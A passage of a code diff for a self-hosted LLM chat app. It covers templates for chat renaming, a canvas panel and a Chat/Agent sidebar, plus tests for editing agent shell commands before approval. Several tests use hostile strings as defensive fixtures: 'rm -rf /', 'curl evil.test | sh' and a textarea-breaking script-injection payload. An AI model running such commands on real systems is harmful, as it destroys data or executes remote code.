name="text.{{ item.key }}" rows="3" spellcheck="false"
x-ref="edit{{ item.key }}"
:disabled="!editing">{{ item.detail }}</textarea>
<p class="interaction__reason">
Allow runs what is in the box. It is not checked against this
chat's rules again — you typed it.
</p>
</div>
{% else %}
<pre class="interaction__detail">{{ item.detail }}</pre>
{% endif %}
{% endif %}
{% if item.reason %}
<p class="interaction__reason">{{ item.reason }}</p>
src/lembas/web/templates/chat/_message.html
+12
View File
@@ -284,5 +284,17 @@
{% if streaming %}
{# Receives the finished bubble and replaces this whole article with it. #}
<div hidden sse-swap="done" hx-target="#msg-{{ message.id }}" hx-swap="outerHTML"></div>
{#
A file the model has opened. The frame carries the canvas tab strip marked
`hx-swap-oob`, so it lands in the panel rather than here -- this element is
only somewhere for it to arrive. `hx-swap="none"` because the payload has no
business in the bubble; htmx extracts out-of-band fragments before it
considers the main swap, so "none" does not stop them.
Only the strip is ever pushed. The file's contents would be a lot of bytes
on every version bump and would overwrite a textarea somebody is typing in.
#}
<div hidden sse-swap="canvas" hx-swap="none"></div>
{% endif %}
</article>
src/lembas/web/templates/chat/_tool_activity.html
+9
View File
@@ -62,6 +62,15 @@
</span>
{% endif %}
{% if event.edited %}
{# Corrected on the approval card before it ran, so what is shown above is
the reader's command and not the model's. Said out loud rather than
left to be inferred: attributing somebody's own typing to a model is
the same misattribution as the other way round, and a transcript read
back a week later has nothing else to go on. #}
<span class="badge">edited by you</span>
{% endif %}
{% if event.why %}
{# What the model said this call was for. In the summary rather than the
body because the body is collapsed: in Auto mode nothing stops for
src/lembas/web/templates/chat/index.html
+38 -2
View File
@@ -25,6 +25,23 @@
<h1 class="topbar__title">
<span id="chat-title">{{ chat.title if chat else "New chat" }}</span>
{#
Rename, where the name is. A themed dialog through `data-prompt`
rather than an inline field: the heading is in a flex row beside the
badges and the connection chip, and swapping it for a text box moves
all of them. The response is the same out-of-band pair the `done`
frame sends, so the sidebar row follows without a second request.
#}
{% if chat %}
<button class="btn btn--icon btn--sm topbar__rename" type="button"
hx-patch="/api/chats/{{ chat.id }}" hx-swap="none"
data-prompt="What should this chat be called?"
data-prompt-title="Rename chat" data-prompt-field="title"
data-prompt-value="{{ chat.title }}"
aria-label="Rename chat" title="Rename chat">
{{ icon("pencil", "icon--sm") }}
</button>
{% endif %}
{# Beside the title because it describes the chat rather than acting on
it. The way out of it is Keep, in the overflow menu. #}
{% if chat and chat.temporary %}
@@ -72,6 +89,18 @@
{% endif %}
{% endif %}
{% if canvas_enabled %}
{# Nearest the conversation of the three, being the widest and the one
most likely to be open beside it. All three share one slot: at
1280px the sidebar plus two panels leaves about seventy pixels of
chat. #}
<button class="btn btn--icon" type="button" aria-label="Canvas"
title="Open a file beside the conversation"
aria-expanded="false" data-toggle="#canvas" data-toggle-group="side">
{{ icon("file-text") }}
</button>
{% endif %}
{% if terminal_enabled %}
{# To the left of the inspector, and never open beside it: see the
toggle group in app.js. #}
@@ -299,8 +328,12 @@
{% endif %}
</main>
{# Third and fourth children of .shell, mirroring the sidebar opposite. The
terminal comes first so it sits to the left of the inspector. #}
{# The panels, mirroring the sidebar opposite, in the order they sit on
screen: the canvas nearest the conversation, then the terminal, then the
inspector. Only ever one of them is open -- see the toggle group. #}
{% if canvas_enabled %}
{% include "chat/_canvas.html" %}
{% endif %}
{% if terminal_enabled %}
{% include "chat/_terminal.html" %}
{% endif %}
@@ -311,6 +344,9 @@
{% endblock %}
{% block scripts %}
{% if canvas_enabled %}
<script src="{{ url_for('static', path='js/canvas.js') }}" defer></script>
{% endif %}
{% if terminal_enabled %}
{# Only where it can be used. xterm is nearly three times everything else
vendored, so a plain chat must never load it. #}
src/lembas/web/templates/folders/edit.html
+163
View File
@@ -0,0 +1,163 @@
{% extends "base.html" %}
{% from "_macros.html" import icon %}
{#
What a folder hands to the chats started inside it.
A page rather than a panel in the sidebar, following the admin convention:
compact rows, and the full form one click away. A form per folder row in a
tree that nests eight deep would be unusable, and the sidebar is the one
place in the application that has to stay scannable.
The whole form is one PATCH at the route that already existed. Every field is
clearable, because `update_folder` reads the raw form and checks key presence
rather than declaring `Form(None)` parameters -- with those, an empty box and
an absent one are the same request.
#}
{% block title %}{{ folder.name }} - LLeMbas{% endblock %}
{% block head %}
<link rel="stylesheet" href="{{ url_for('static', path='css/chat.css') }}">
<link rel="stylesheet" href="{{ url_for('static', path='css/admin.css') }}">
{% endblock %}
{% block body_attrs %} data-authenticated="true"{% endblock %}
{% block body %}
<div class="shell">
{% include "partials/sidebar.html" %}
<main class="main">
<header class="topbar">
<h1 class="topbar__title">
{{ icon("folder", "icon--sm") }}
<span>{{ folder.name }}</span>
</h1>
<span class="spacer"></span>
<a class="btn btn--sm" href="/chat?folder={{ folder.id }}">
{{ icon("plus", "icon--sm") }} New chat here
</a>
</header>
<div class="page">
<form hx-patch="/api/folders/{{ folder.id }}" hx-swap="none">
<div class="card">
<h2 class="card__title">Name</h2>
<div class="field">
<input class="input" type="text" name="name" maxlength="200"
value="{{ folder.name }}" aria-label="Folder name" required>
</div>
<div class="field">
<label class="field__label" for="folder-description">Description</label>
<input class="input" type="text" id="folder-description" name="description"
maxlength="500" value="{{ folder.description }}"
placeholder="What this folder is for.">
<p class="field__hint">
For you, not for any model. It is never sent anywhere.
</p>
</div>
</div>
<div class="card">
<h2 class="card__title">System prompt</h2>
<p class="card__lede">
Used by every chat in this folder, and by folders nested inside it,
unless the chat has a prompt of its own. Read each time a reply is
built rather than copied when a chat is made, so editing this
reaches the chats already here.
</p>
<div class="field">
<textarea class="textarea" name="system_prompt" rows="8"
aria-label="System prompt"
placeholder="Leave empty to fall through to the model's prompt, then the instance's.">{{ folder.system_prompt }}</textarea>
<p class="field__hint">
Precedence, not concatenation: chat, then folder, then model, then
instance. The most specific one wins outright.
</p>
</div>
</div>
<div class="card">
<h2 class="card__title">What a new chat starts as</h2>
<p class="card__lede">
Seeds, copied onto a chat when it is created and its own from then
on. Anything chosen on the new-chat screen wins over these.
</p>
<div class="field">
<label class="field__label" for="folder-model">Model</label>
<select class="select" id="folder-model" name="model_id">
<option value="">No opinion</option>
{% for model in models %}
<option value="{{ model.model_id }}"
{{ 'selected' if model.model_id == folder.model_id }}>
{{ model.label }}
</option>
{% endfor %}
</select>
</div>
<div class="field">
<label class="field__label" for="folder-kind">Kind</label>
<select class="select" id="folder-kind" name="kind">
<option value="" {{ 'selected' if not folder.kind }}>No opinion</option>
<option value="chat" {{ 'selected' if folder.kind == 'chat' }}>Chat</option>
<option value="agent" {{ 'selected' if folder.kind == 'agent' }}>Agent chat</option>
</select>
<p class="field__hint">
A folder set to one kind shows on only that side of the sidebar's
switch, and opens the new-chat screen already on that fork.
</p>
</div>
{% if agent_profiles %}
{# Only meaningful for an agent chat, and shown regardless of the kind
above: somebody filling this in is on their way to setting the kind
too, and a field that appears only once another field is right is a
field people conclude is missing. #}
<div class="field">
<label class="field__label" for="folder-profile">Connection</label>
<select class="select" id="folder-profile" name="ssh_profile_id">
<option value="">No opinion</option>
{% for profile in agent_profiles %}
<option value="{{ profile.id }}"
{{ 'selected' if profile.id == folder.ssh_profile_id }}>
{{ profile.name }}
</option>
{% endfor %}
</select>
</div>
<div class="field">
<label class="field__label" for="folder-dir">Project directory</label>
<input class="input input--mono" type="text" id="folder-dir" name="project_dir"
maxlength="1000" value="{{ folder.project_dir }}"
placeholder="The connection's own default.">
</div>
{% if agent_modes %}
<div class="field">
<label class="field__label" for="folder-mode">Approval mode</label>
<select class="select" id="folder-mode" name="agent_mode">
<option value="">No opinion</option>
{% for value, label, hint in agent_modes %}
<option value="{{ value }}" title="{{ hint }}"
{{ 'selected' if value == folder.agent_mode }}>{{ label }}</option>
{% endfor %}
</select>
</div>
{% endif %}
{% endif %}
</div>
<div class="form-actions">
<button class="btn btn--primary" type="submit">
{{ icon("check", "icon--sm") }} Save
</button>
<a class="btn" href="/chat">Back</a>
</div>
</form>
</div>
</main>
</div>
{% endblock %}
src/lembas/web/templates/partials/_chat_link.html
+15 -1
View File
@@ -6,13 +6,27 @@
<div class="nav-item {% if chat and chat.id == chat_item.id %}is-active{% endif %}"
data-chat-id="{{ chat_item.id }}">
<a class="nav-item__link" href="/chat/{{ chat_item.id }}">
{{ icon("chat", "icon--sm") }}
{# The kind, in the one place a person looks. Legible even with the switch
off, which is what it is for: a chat that can run commands should not look
like one that cannot. #}
{{ icon("terminal" if chat_item.kind == "agent" else "chat", "icon--sm") }}
<span class="nav-item__label" id="chat-link-label-{{ chat_item.id }}">{{ chat_item.title }}</span>
{# Toggled out of band by the unread poll; see /api/chats/unread. #}
<span id="unread-{{ chat_item.id }}" class="unread-dot"
{{ '' if chat_item.unread else 'hidden' }} title="New reply"></span>
</a>
<span class="nav-item__actions">
{# Works from any page carrying the sidebar, not only from inside the chat.
The response carries both out-of-band spans, so the heading follows if
this happens to be the open chat. #}
<button class="btn btn--icon btn--sm" type="button"
hx-patch="/api/chats/{{ chat_item.id }}" hx-swap="none"
data-prompt="What should this chat be called?"
data-prompt-title="Rename chat" data-prompt-field="title"
data-prompt-value="{{ chat_item.title }}"
aria-label="Rename chat" title="Rename chat">
{{ icon("pencil", "icon--sm") }}
</button>
<button class="btn btn--icon btn--sm" type="button"
hx-delete="/api/chats/{{ chat_item.id }}"
hx-confirm="Delete “{{ chat_item.title }}”? This cannot be undone."
src/lembas/web/templates/partials/_folder.html
+25 -4
View File
@@ -18,6 +18,25 @@
<span class="nav-item__label">{{ folder.name }}</span>
</button>
<span class="nav-item__actions">
{# Start a chat already filed here, and already carrying whatever the
folder seeds. Without this the only way into a folder is to make the
chat somewhere else and move it. #}
<a class="btn btn--icon btn--sm" href="/chat?folder={{ folder.id }}"
aria-label="New chat in this folder" title="New chat here">
{{ icon("plus", "icon--sm") }}
</a>
<button class="btn btn--icon btn--sm" type="button"
hx-patch="/api/folders/{{ folder.id }}" hx-swap="none"
data-prompt="What should this folder be called?"
data-prompt-title="Rename folder" data-prompt-field="name"
data-prompt-value="{{ folder.name }}"
aria-label="Rename folder" title="Rename folder">
{{ icon("pencil", "icon--sm") }}
</button>
<a class="btn btn--icon btn--sm" href="/folders/{{ folder.id }}"
aria-label="Folder settings" title="Folder settings">
{{ icon("sliders", "icon--sm") }}
</a>
<button class="btn btn--icon btn--sm" type="button"
hx-delete="/api/folders/{{ folder.id }}"
hx-confirm="Delete the folder “{{ folder.name }}”? Chats inside it are kept."
@@ -32,10 +51,12 @@
<div class="folder__contents" x-show="open" x-cloak>
{# Bound once: the loop and the "Empty" check must be looking at the same
list, or a folder holding only archived chats claims to be empty while
showing them. #}
{% set listed = folder.visible_chats %}
showing them. Narrowed by the sidebar's switch, so a folder shows one
kind at a time -- a folder is free to hold both. #}
{% set listed = folder.visible_chats(sidebar_kind | default("")) %}
{% set shown = folder.visible_children(sidebar_kind | default("")) %}
{% for child in folder.children %}
{% for child in shown %}
{% with folder = child %}
{% include "partials/_folder.html" %}
{% endwith %}
@@ -45,7 +66,7 @@
{% include "partials/_chat_link.html" %}
{% endfor %}
{% if not folder.children and not listed %}
{% if not shown and not listed %}
<p class="nav-empty">Empty</p>
{% endif %}
</div>
src/lembas/web/templates/partials/_sidebar_tree.html
+76
View File
@@ -0,0 +1,76 @@
{% from "_macros.html" import icon %}
{#
The Chat/Agent switch, the folder tree and the unfiled chats.
Its own partial because it is rendered from two places: the sidebar on every
page, and `POST /api/preferences/sidebar-kind` when the switch is flicked.
Pinned models stay above it in `sidebar.html` -- they start a chat of either
kind and are not part of what is being switched.
The switch is INSIDE the swapped fragment on purpose. Targeting only the tree
would leave the two buttons showing the side you just left, which is the same
class of failure as a control whose verb goes somewhere the event does not:
the request works and the interface says otherwise. Each button keeps a stable
id so htmx puts focus back on the one that was pressed.
`sidebar_kind` is narrowed already: `sidebar_context` drops a folder holding
nothing of this kind at any depth, so the heading below cannot appear above
nothing. It is still passed down to `_folder.html`, which needs it for its own
contents and for the children it recurses into.
#}
<div id="sidebar-tree">
{% if sidebar_split %}
{#
The same component the new-chat screen uses to pick a kind, which is the
same choice in a different place. The verb goes on the input, not on the
wrapper: `change` fires on the control and bubbles through its DOM
ancestors, and htmx binds its listener to the annotated element itself.
`hx-vals` rather than relying on the input's own value being collected --
the two radios are not inside a form, so what htmx would gather is worth
not depending on.
#}
<div class="segmented segmented--grow" role="group" aria-label="Which chats to show">
{% for option, label, glyph in [("chat", "Chats", "chat"), ("agent", "Agents", "terminal")] %}
<label class="segmented__option">
<input type="radio" name="sidebar_kind" value="{{ option }}"
id="sidebar-kind-{{ option }}"
{{ 'checked' if sidebar_kind == option }}
hx-post="/api/preferences/sidebar-kind"
hx-vals='{"kind": "{{ option }}"}'
hx-trigger="change"
hx-target="#sidebar-tree" hx-swap="outerHTML">
<span>{{ icon(glyph, "icon--sm") }} {{ label }}</span>
</label>
{% endfor %}
</div>
{% endif %}
{% if folders %}
<div class="nav-group">
<div class="nav-group__label">Folders</div>
{% for folder in folders %}
{% include "partials/_folder.html" %}
{% endfor %}
</div>
{% endif %}
<div class="nav-group">
<div class="nav-group__label">
{{ "Agent chats" if sidebar_kind == "agent" else "Chats" }}
</div>
{% if unfiled_chats %}
{% for chat_item in unfiled_chats %}
{% include "partials/_chat_link.html" %}
{% endfor %}
{% else %}
<p class="nav-empty">
{%- if sidebar_kind == "agent" -%}
No agent chats yet. Nothing is stirring out there.
{%- else -%}
No chats yet. The road begins here.
{%- endif -%}
</p>
{% endif %}
</div>
</div>
src/lembas/web/templates/partials/sidebar.html
+15 -23
View File
@@ -14,13 +14,23 @@
{% if can.get("chat.create") or can.get("folder.manage") %}
<div class="sidebar__actions">
{% if can.get("chat.create") %}
<a class="btn btn--primary btn--grow" href="/chat">
{{ icon("plus", "icon--sm") }} New chat
{# Carries the side the switch is on, so "New chat" on the Agent side opens
the new-chat screen already set to an agent chat. #}
<a class="btn btn--primary btn--grow"
href="/chat{{ '?kind=agent' if sidebar_kind == 'agent' else '' }}">
{{ icon("plus", "icon--sm") }}
{{ "New agent chat" if sidebar_kind == "agent" else "New chat" }}
</a>
{% endif %}
{% if can.get("folder.manage") %}
{# Asks for the name rather than making "New folder" and leaving somebody to
find the rename. `data-prompt` writes the answer into hx-vals before the
request goes out; see ui.js for why this is not htmx's own hx-prompt. #}
<button class="btn btn--icon" hx-post="/api/folders" hx-swap="none"
hx-vals='{"name": "New folder"}' aria-label="New folder" title="New folder">
data-prompt="What should this folder be called?"
data-prompt-title="New folder" data-prompt-field="name"
data-prompt-label="Create"
aria-label="New folder" title="New folder">
{{ icon("folder") }}
</button>
{% endif %}
@@ -33,7 +43,7 @@
<div hidden hx-get="/api/chats/unread" hx-trigger="every 10s"
hx-swap="none"></div>
<nav class="sidebar__scroll" id="sidebar-tree" aria-label="Chats">
<nav class="sidebar__scroll" aria-label="Chats">
{% if pinned_models and can.get("chat.create") %}
{# Shortcuts to start a chat with a particular model. These link rather than
post, so no chat exists until something is actually said. #}
@@ -48,25 +58,7 @@
</div>
{% endif %}
{% if folders %}
<div class="nav-group">
<div class="nav-group__label">Folders</div>
{% for folder in folders %}
{% include "partials/_folder.html" %}
{% endfor %}
</div>
{% endif %}
<div class="nav-group">
<div class="nav-group__label">Chats</div>
{% if unfiled_chats %}
{% for chat_item in unfiled_chats %}
{% include "partials/_chat_link.html" %}
{% endfor %}
{% else %}
<p class="nav-empty">No chats yet. The road begins here.</p>
{% endif %}
</div>
{% include "partials/_sidebar_tree.html" %}
</nav>
<div class="sidebar__footer">
tests/test_agent_command_edit.py
+417
View File
@@ -0,0 +1,417 @@
"""Correcting a command on the approval card before allowing it.
A model proposing the right thing with one flag wrong is the common case, and
Allow-or-Don't makes that a whole round trip to explain in prose. Driven through
the real machinery rather than asserted on markup, because the thing that
matters is *what runs*, and there are three places the edited text has to reach.
"""
from __future__ import annotations
import asyncio
import json
import pytest
from lembas.db.models import KIND_AGENT, Chat, Connection, Model, SshProfile, User
from lembas.services import generation as generation_service
from lembas.services import interaction, settings_store, tool_labels
from lembas.services import tools as tools_service
from lembas.services.agent import policy
from lembas.services.agent import ssh as ssh_service
asyncssh = pytest.importorskip("asyncssh")
# --- A machine to act on -----------------------------------------------------
class _Server(asyncssh.SSHServer):
def begin_auth(self, username: str) -> bool:
return False
async def _handler(process):
process.stdout.write(f"ran: {process.command or ''}\n")
process.exit(0)
@pytest.fixture
async def machine(tmp_path):
project = tmp_path / "project"
project.mkdir()
server = await asyncssh.create_server(
_Server,
"127.0.0.1",
0,
server_host_keys=[asyncssh.generate_private_key("ssh-ed25519")],
process_factory=_handler,
sftp_factory=True,
)
port = next(iter(server.sockets)).getsockname()[1]
line, fingerprint = await ssh_service.capture_host_key("127.0.0.1", port)
try:
yield {"port": port, "host_key": line, "fingerprint": fingerprint, "dir": str(project)}
finally:
server.close()
await server.wait_closed()
def _agent_chat(db, user_id, machine, *, mode=policy.MODE_MANUAL) -> Chat:
settings_store.update(db, {"enabled": True}, key=settings_store.AGENTS)
profile = SshProfile(
owner_id=user_id,
name="Test box",
host="127.0.0.1",
port=machine["port"],
username="tester",
host_key=machine["host_key"],
host_fingerprint=machine["fingerprint"],
default_dir=machine["dir"],
)
db.add(profile)
db.commit()
connection = Connection(name="c", base_url="http://127.0.0.1:1", api_key_encrypted="")
db.add(connection)
db.commit()
db.add(Model(connection_id=connection.id, model_id="m", capabilities_json={"tools": True}))
db.commit()
chat = Chat(
user_id=user_id,
model_id="m",
connection_id=connection.id,
kind=KIND_AGENT,
ssh_profile_id=profile.id,
project_dir=machine["dir"],
agent_mode=mode,
)
db.add(chat)
db.commit()
return chat
def _context(db, user_id, machine, **kwargs):
chat = _agent_chat(db, user_id, machine, **kwargs)
user = db.get(User, user_id)
resolved = tools_service.resolve_tools(db, chat, user)
return tools_service.context_for(db, user, chat, tools=resolved)
def _shell_call(command: str, *, call_id: str = "c1") -> dict:
return {
"id": call_id,
"name": "shell_run",
"arguments": json.dumps({"command": command}),
}
async def _authorise_with(context, calls, *, answers, verdict=interaction.ALLOW):
"""Run `_authorise` and answer the card it puts up."""
generation = generation_service.Generation(chat_id="x", message_id="y")
arguments = generation_service._arguments_for(context, calls)
task = asyncio.create_task(
generation_service._authorise(generation, context, calls, arguments)
)
deadline = asyncio.get_running_loop().time() + 2.0
while generation.pending is None:
if asyncio.get_running_loop().time() > deadline:
task.cancel()
raise AssertionError("the reply never paused")
await asyncio.sleep(0.01)
pending = generation.pending
pending.resolve(verdict, answers=answers)
decided, allowed, edited = await task
return arguments, decided, allowed, edited, pending
# --- What the card offers ------------------------------------------------------
async def test_a_command_card_offers_the_box(db, user_id, machine):
context = _context(db, user_id, machine)
generation = generation_service.Generation(chat_id="x", message_id="y")
calls = [_shell_call("pytest -q")]
arguments = generation_service._arguments_for(context, calls)
task = asyncio.create_task(
generation_service._authorise(generation, context, calls, arguments)
)
while generation.pending is None:
await asyncio.sleep(0.01)
item = generation.pending.items[0]
assert item.editable is True
assert item.detail == "pytest -q"
generation.pending.resolve(interaction.DENY)
await task
def test_a_tool_whose_detail_is_a_summary_offers_no_box():
"""A tool with no entry in DETAIL_KEYS gets a `k=repr(v)` summary that
cannot be parsed back, so a box there would silently change nothing."""
assert "ask_user" not in tool_labels.DETAIL_KEYS
assert "shell_run" in tool_labels.DETAIL_KEYS
# --- Where the edit lands ------------------------------------------------------
async def test_the_edited_command_reaches_the_runner(db, user_id, machine):
"""`arguments` is what `run_tool` is handed as `parsed=`, and it never
re-parses -- so this list is the only write that reaches the machine."""
context = _context(db, user_id, machine)
calls = [_shell_call("pytest")]
arguments, decided, allowed, edited, _ = await _authorise_with(
context, calls, answers={"a0": "pytest -q --tb=short"}
)
assert arguments[0]["command"] == "pytest -q --tb=short"
assert allowed == {0}
assert edited == {0}
assert decided == {}
outcomes = await generation_service._run_calls(
context, calls, arguments, decided=decided, allowed=allowed
)
assert "pytest -q --tb=short" in outcomes[0].content
async def test_the_raw_arguments_are_rewritten_too(db, user_id, machine):
"""That string is what goes back to the endpoint as the assistant turn.
Leaving it alone tells the model it ran what it proposed while something
else ran, and every later round reasons from a transcript that is false."""
context = _context(db, user_id, machine)
calls = [_shell_call("pytest")]
await _authorise_with(context, calls, answers={"a0": "pytest -q"})
assert json.loads(calls[0]["arguments"])["command"] == "pytest -q"
turn = tools_service.assistant_turn(calls, "")
assert "pytest -q" in turn["tool_calls"][0]["function"]["arguments"]
async def test_an_untouched_card_changes_nothing(db, user_id, machine):
context = _context(db, user_id, machine)
calls = [_shell_call("pytest -q")]
arguments, _decided, allowed, edited, _ = await _authorise_with(
context, calls, answers={}
)
assert arguments[0]["command"] == "pytest -q"
assert allowed == {0}
assert edited == set()
async def test_a_box_submitted_unchanged_is_not_an_edit(db, user_id, machine):
"""The textarea is in the DOM before Alpine boots, so a very fast submit can
post the original text. That must read as "no edit", not as one."""
context = _context(db, user_id, machine)
calls = [_shell_call("pytest -q")]
_arguments, _decided, _allowed, edited, _ = await _authorise_with(
context, calls, answers={"a0": "pytest -q"}
)
assert edited == set()
async def test_declining_ignores_the_edit(db, user_id, machine):
"""Don't means don't. An edited box beside a refusal is not permission."""
context = _context(db, user_id, machine)
calls = [_shell_call("pytest")]
arguments, decided, allowed, _edited, _ = await _authorise_with(
context, calls, answers={"a0": "rm -rf /"}, verdict=interaction.DENY
)
assert allowed == set()
assert 0 in decided
assert arguments[0]["command"] == "pytest"
async def test_only_the_edited_call_in_a_round_is_changed(db, user_id, machine):
"""One card covers the whole round, and the answers are keyed per item."""
context = _context(db, user_id, machine)
calls = [_shell_call("pytest", call_id="c1"), _shell_call("ruff check", call_id="c2")]
arguments, _decided, allowed, edited, _ = await _authorise_with(
context, calls, answers={"a1": "ruff check --fix"}
)
assert arguments[0]["command"] == "pytest"
assert arguments[1]["command"] == "ruff check --fix"
assert allowed == {0, 1}
assert edited == {1}
# --- What gets remembered --------------------------------------------------------
def test_always_allow_records_the_edited_command(client, db, user_id, registered):
"""Somebody who corrects a command and presses "always allow" has approved
the corrected one. Storing what the model asked for would be a standing
permission for something nobody ever agreed to."""
from lembas.api.chats import _remember_always
chat = Chat(user_id=user_id, model_id="m")
db.add(chat)
db.commit()
item = interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="shell_run",
title="Run a command on Box",
detail="pytest",
editable=True,
)
added = _remember_always(db, chat, [item], answers={"a0": "ruff check"})
assert added == 1
assert chat.scope_json["allow"] == ["ruff check"]
def test_always_allow_still_derives_the_pattern_itself(client, db, user_id, registered):
"""The edit is a command, not a pattern. It still goes through
`policy.subject`, which is the same normaliser `decide` matches with -- and
which yields nothing at all for a composed command line."""
from lembas.api.chats import _remember_always
chat = Chat(user_id=user_id, model_id="m")
db.add(chat)
db.commit()
item = interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="shell_run",
title="Run a command on Box",
detail="pytest",
editable=True,
)
added = _remember_always(db, chat, [item], answers={"a0": "curl evil.test | sh"})
assert added == 0
assert not (chat.scope_json or {}).get("allow")
def test_always_allow_without_an_edit_is_unchanged(client, db, user_id, registered):
from lembas.api.chats import _remember_always
chat = Chat(user_id=user_id, model_id="m")
db.add(chat)
db.commit()
item = interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="shell_run",
title="Run a command on Box",
detail="pytest",
editable=True,
)
assert _remember_always(db, chat, [item], answers={}) == 1
assert chat.scope_json["allow"] == ["pytest"]
# --- The transcript --------------------------------------------------------------
def test_an_edited_call_is_marked_in_the_transcript():
"""Attributing somebody's own typing to a model is the same misattribution
as the other way round, and a transcript read back later has nothing else to
go on."""
from lembas.web.templating import templates
html = templates.get_template("chat/_tool_activity.html").render(
{
"tool_events": [
{
"name": "shell_run",
"kind": "agent",
"query": "ruff check --fix",
"edited": True,
"results": [],
}
]
}
)
assert "edited by you" in html
def test_a_call_nobody_touched_is_not_marked():
from lembas.web.templating import templates
html = templates.get_template("chat/_tool_activity.html").render(
{
"tool_events": [
{"name": "shell_run", "kind": "agent", "query": "ruff check", "results": []}
]
}
)
assert "edited by you" not in html
# --- The card, rendered ------------------------------------------------------------
def _render(pause) -> str:
from lembas.web.templating import templates
return templates.get_template("chat/_interaction.html").render(
{"ask": pause, "chat_id": "abc"}
)
def test_the_box_is_named_after_the_item():
"""`api/chats.py` harvests every `text.*` field into `answers` regardless of
card kind, which is what makes this need no endpoint change at all."""
pause = interaction.Interruption(
id="p1",
items=(
interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="shell_run",
title="Run a command on Box",
detail="pytest -q",
editable=True,
),
),
)
html = _render(pause)
assert 'name="text.a0"' in html
assert "pytest -q" in html
def test_a_command_that_cannot_be_put_back_gets_no_box():
pause = interaction.Interruption(
id="p1",
items=(
interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="something_odd",
title="Use something odd",
detail="a=1, b=2",
editable=False,
),
),
)
html = _render(pause)
assert 'name="text.a0"' not in html
assert "a=1, b=2" in html
def test_the_box_escapes_what_the_model_wrote():
"""It is model output and it is going into a textarea, which ends at the
first `</textarea>` the browser sees."""
pause = interaction.Interruption(
id="p1",
items=(
interaction.Item(
index=0,
key="a0",
kind=interaction.KIND_APPROVAL,
tool_name="shell_run",
title="Run a command on Box",
detail="ls </textarea><script>alert(1)</script>",
editable=True,
),
),
)
html = _render(pause)
assert "</textarea><script>" not in html
assert "&lt;/textarea&gt;" in html
tests/test_canvas.py
+531
View File
@@ -0,0 +1,531 @@
"""The canvas panel: tabs, sources, saving, and what a model may move."""
from __future__ import annotations
import pytest
from fastapi.testclient import TestClient
from sqlalchemy import select
from lembas.db.models import (
KIND_AGENT,
Attachment,
Chat,
Connection,
Model,
ScratchDoc,
User,
)
from lembas.services import canvas as canvas_service
from lembas.services import scratch as scratch_service
from lembas.services import settings_store
from lembas.services.crypto import encrypt
from lembas.services.library import documents as documents_service
from lembas.services.library import notes as notes_service
def _page(db, user, base, text: str):
"""A knowledge document, without going near the network."""
from lembas.services.fetch import Fetched
return documents_service.store_page(
db,
owner=user,
base=base,
page=Fetched(url="http://example.test/terms", title="Terms", text=text),
)
def _add_connection(db) -> Connection:
connection = Connection(
name="Test", base_url="http://127.0.0.1:1", api_key_encrypted=encrypt("")
)
db.add(connection)
db.commit()
db.add(Model(connection_id=connection.id, model_id="test-model"))
db.commit()
return connection
# --- Tab bookkeeping, with no HTTP in the way ---------------------------------
def test_a_key_with_a_colon_in_the_path_survives():
"""`split`, not `str.split`: a key that lost half its path would silently
open a different file."""
assert canvas_service.split("agent:/srv/a:b.py") == ("agent", "/srv/a:b.py")
def test_one_file_has_one_key():
"""A tab a model opened and a tab a person opened must be one tab, or the
panel shows the same file twice and only one is the one being saved."""
assert (
canvas_service.path_key("/srv/app", "./main.py")
== canvas_service.path_key("/srv/app", "main.py")
== canvas_service.path_key("/srv/app", "/srv/app/main.py")
)
def test_opening_the_same_key_twice_is_one_tab():
state: dict = {}
canvas_service.open_tab(state, {"key": "note:1", "title": "A"})
canvas_service.open_tab(state, {"key": "note:1", "title": "A"})
assert len(state["tabs"]) == 1
assert state["active"] == "note:1"
def test_a_model_opening_a_tab_does_not_take_the_screen():
"""An agent reads forty files in a long reply. If each one took the panel,
somebody reading the third would be dragged through the other
thirty-seven -- and anybody halfway through an edit would lose it."""
state: dict = {}
canvas_service.open_tab(state, {"key": "note:1", "title": "Mine"})
canvas_service.open_tab(state, {"key": "agent:/a.py", "title": "Theirs"}, activate=False)
assert state["active"] == "note:1"
assert [t["key"] for t in state["tabs"]] == ["note:1", "agent:/a.py"]
def test_the_first_tab_is_activated_even_by_a_model():
"""Otherwise a panel full of tabs would have nothing in front, which reads
as a panel that failed to load."""
state: dict = {}
canvas_service.open_tab(state, {"key": "agent:/a.py"}, activate=False)
assert state["active"] == "agent:/a.py"
def test_eviction_never_closes_the_tab_in_front():
state: dict = {}
canvas_service.open_tab(state, {"key": "note:keep"})
for index in range(canvas_service.MAX_TABS + 4):
canvas_service.open_tab(state, {"key": f"agent:/f{index}.py"}, activate=False)
keys = [t["key"] for t in state["tabs"]]
assert len(keys) == canvas_service.MAX_TABS
assert "note:keep" in keys
assert state["active"] == "note:keep"
def test_closing_the_active_tab_moves_to_another():
state: dict = {}
canvas_service.open_tab(state, {"key": "note:1"})
canvas_service.open_tab(state, {"key": "note:2"})
canvas_service.close_tab(state, "note:2")
assert state["active"] == "note:1"
def test_closing_the_last_tab_leaves_nothing_active():
state: dict = {}
canvas_service.open_tab(state, {"key": "note:1"})
canvas_service.close_tab(state, "note:1")
assert state["active"] == ""
assert state["tabs"] == []
def test_merge_keeps_a_tab_opened_during_the_reply():
"""`_persist` is the single writer and its snapshot was seeded when the
reply began, so overwriting would drop what somebody opened since."""
stored = {"tabs": [{"key": "note:mine", "title": "Mine"}], "active": "note:mine"}
live = {"tabs": [{"key": "agent:/a.py", "title": "Theirs"}], "active": "agent:/a.py"}
merged = canvas_service.merge(stored, live)
assert {t["key"] for t in merged["tabs"]} == {"note:mine", "agent:/a.py"}
# And a reply finishing ten minutes later must not move what is in front.
assert merged["active"] == "note:mine"
# --- Through the routes --------------------------------------------------------
def test_the_panel_opens_empty(client: TestClient, db, registered, make_chat):
_add_connection(db)
chat_id = make_chat()
response = client.get(f"/api/chats/{chat_id}/canvas")
assert response.status_code == 200
assert "Nothing open" in response.text
def test_someone_elses_chat_is_a_404(client: TestClient, db, registered, make_chat):
_add_connection(db)
other = User(name="Sam", email="sam@shire.test", password_hash="x")
db.add(other)
db.commit()
chat = Chat(user_id=other.id, model_id="test-model")
db.add(chat)
db.commit()
assert client.get(f"/api/chats/{chat.id}/canvas").status_code == 404
assert (
